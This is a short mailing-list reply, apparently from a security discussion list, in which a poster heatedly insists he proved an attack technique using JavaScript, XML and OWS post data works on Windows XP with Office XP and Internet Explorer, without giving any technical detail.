Subject: new attack technique? using
	JavaScript+XML+OWSPost Data

oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years kidder than u)

The _real_ thing is that I proved the point.
U told win xp will give access denied error. I proved u wrong with the
proof attached.
U told above technique wont work...i proved u wrong.
Tell me one thing, a Windows XP + Offfice XP + Internet explorer
combination so rare ?

Is that all making ur ego shattered?

...and u are no one to decide what should one disuss on this list.

regards,
gaurav
